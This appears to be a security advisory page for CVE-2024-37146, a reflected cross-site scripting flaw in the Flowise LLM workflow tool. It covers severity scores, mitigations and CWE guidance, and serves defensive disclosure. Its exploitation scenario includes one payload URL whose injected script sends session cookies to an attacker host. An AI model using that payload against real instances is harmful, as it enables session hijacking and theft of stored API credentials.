CVE-2024-37146: Flowise: reflected XSS enables credential theft

MEDIUM PoC AVAILABLE
Published July 1, 2024
CISO Take

Flowise 1.4.3 contains a reflected cross-site scripting flaw where chatflow IDs are echoed unsanitized in 404 HTML responses via the `/api/v1/credentials/id` endpoint, allowing an attacker to execute arbitrary JavaScript in any user's browser session through a single crafted link. Because Flowise ships with authentication disabled by default, exploitation requires zero credentials and only a victim click — a public PoC already exists, reducing this to script-kiddie territory. The real danger in AI environments is the downstream blast radius: a hijacked session exposes all stored LLM API keys (OpenAI, Anthropic, etc.), and this XSS can be chained with a concurrent path traversal vulnerability to read arbitrary server-side files including `.env` configs containing infrastructure secrets. No upstream patch was available at time of publication; immediately enable authentication via `FLOWISE_USERNAME`/`FLOWISE_PASSWORD` environment variables, restrict Flowise to internal networks, and rotate any LLM API credentials currently stored in the platform.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

The CVSS 6.1 (Medium) score materially understates contextual risk for AI deployments. Flowise is a credential store and orchestration hub for LLM workflows — session hijacking via XSS can cascade into full API key compromise across every connected AI service. The unauthenticated-by-default configuration eliminates the privilege barrier entirely, widening blast radius to any internet-exposed instance. With a public PoC available and 16 prior CVEs in the same package indicating a pattern of insufficient input validation, active targeting of exposed Flowise instances is a realistic near-term risk.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Flowise npm No patch

Do you use Flowise? You're affected.

How severe is it?

CVSS 3.1
6.1 / 10
EPSS
0.4%
chance of exploitation in 30 days
Higher than 32% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI Required
S Changed
C Low
I Low
A None

What should I do?

7 steps
  1. Enable authentication immediately: set FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables before any network exposure.

  2. Network-isolate Flowise — it must not be internet-facing; place behind VPN or internal firewall.

  3. Rotate all LLM API keys stored in the Flowise credentials store as a precautionary measure.

  4. Deploy WAF rules to block HTML/script injection patterns in chatflow ID path parameters.

  5. Audit server access logs for requests to /api/v1/credentials/ containing angle brackets, script tags, or URL-encoded equivalents.

  6. Monitor the FlowiseAI GitHub repository for a patch release and upgrade immediately when available.

  7. Audit all files accessible from Flowise's working directory for sensitive data exposure via the path traversal vector.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
6.1 - Actions to address risks and opportunities
NIST AI RMF
MANAGE-2.2 - Mechanisms are in place to sustain treatment of identified AI risks
OWASP LLM Top 10
LLM02 - Insecure Output Handling LLM06 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2024-37146?

Flowise 1.4.3 contains a reflected cross-site scripting flaw where chatflow IDs are echoed unsanitized in 404 HTML responses via the `/api/v1/credentials/id` endpoint, allowing an attacker to execute arbitrary JavaScript in any user's browser session through a single crafted link. Because Flowise ships with authentication disabled by default, exploitation requires zero credentials and only a victim click — a public PoC already exists, reducing this to script-kiddie territory. The real danger in AI environments is the downstream blast radius: a hijacked session exposes all stored LLM API keys (OpenAI, Anthropic, etc.), and this XSS can be chained with a concurrent path traversal vulnerability to read arbitrary server-side files including `.env` configs containing infrastructure secrets. No upstream patch was available at time of publication; immediately enable authentication via `FLOWISE_USERNAME`/`FLOWISE_PASSWORD` environment variables, restrict Flowise to internal networks, and rotate any LLM API credentials currently stored in the platform.

Is CVE-2024-37146 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-37146, increasing the risk of exploitation.

How to fix CVE-2024-37146?

1. Enable authentication immediately: set FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables before any network exposure. 2. Network-isolate Flowise — it must not be internet-facing; place behind VPN or internal firewall. 3. Rotate all LLM API keys stored in the Flowise credentials store as a precautionary measure. 4. Deploy WAF rules to block HTML/script injection patterns in chatflow ID path parameters. 5. Audit server access logs for requests to /api/v1/credentials/ containing angle brackets, script tags, or URL-encoded equivalents. 6. Monitor the FlowiseAI GitHub repository for a patch release and upgrade immediately when available. 7. Audit all files accessible from Flowise's working directory for sensitive data exposure via the path traversal vector.

What systems are affected by CVE-2024-37146?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM workflow orchestration, model serving.

What is the CVSS score for CVE-2024-37146?

CVE-2024-37146 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.40%.

What is the AI security impact?

Affected AI Architectures

agent frameworksLLM workflow orchestrationmodel serving

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0083 Credentials from AI Agent Configuration

Compliance Controls Affected

ISO 42001: 6.1
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM02, LLM06

What are the technical details?

Original Advisory

Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `/api/v1/credentials/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.

Exploitation Scenario

An attacker scanning for AI tooling via Shodan identifies an unauthenticated Flowise instance at a target organization. They craft a URL embedding a JavaScript payload in the chatflow ID path segment — e.g., `/api/v1/credentials/%3Cscript%3Efetch('https://attacker.com/?c='+document.cookie)%3C/script%3E` — and deliver it via spearphishing email to an employee known to manage the company's LLM pipelines. The employee clicks the link; Flowise returns a 404 page with the chatflow ID reflected unescaped in the HTML body, executing the payload in the victim's session. The attacker receives the session cookie, authenticates to the Flowise admin interface, and extracts all stored LLM API credentials. They then chain this access with the path traversal vulnerability to read the server's `.env` file, harvesting additional infrastructure secrets for lateral movement into cloud environments.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Timeline

Published
July 1, 2024
Last Modified
November 21, 2024
First Seen
July 1, 2024

Related Vulnerabilities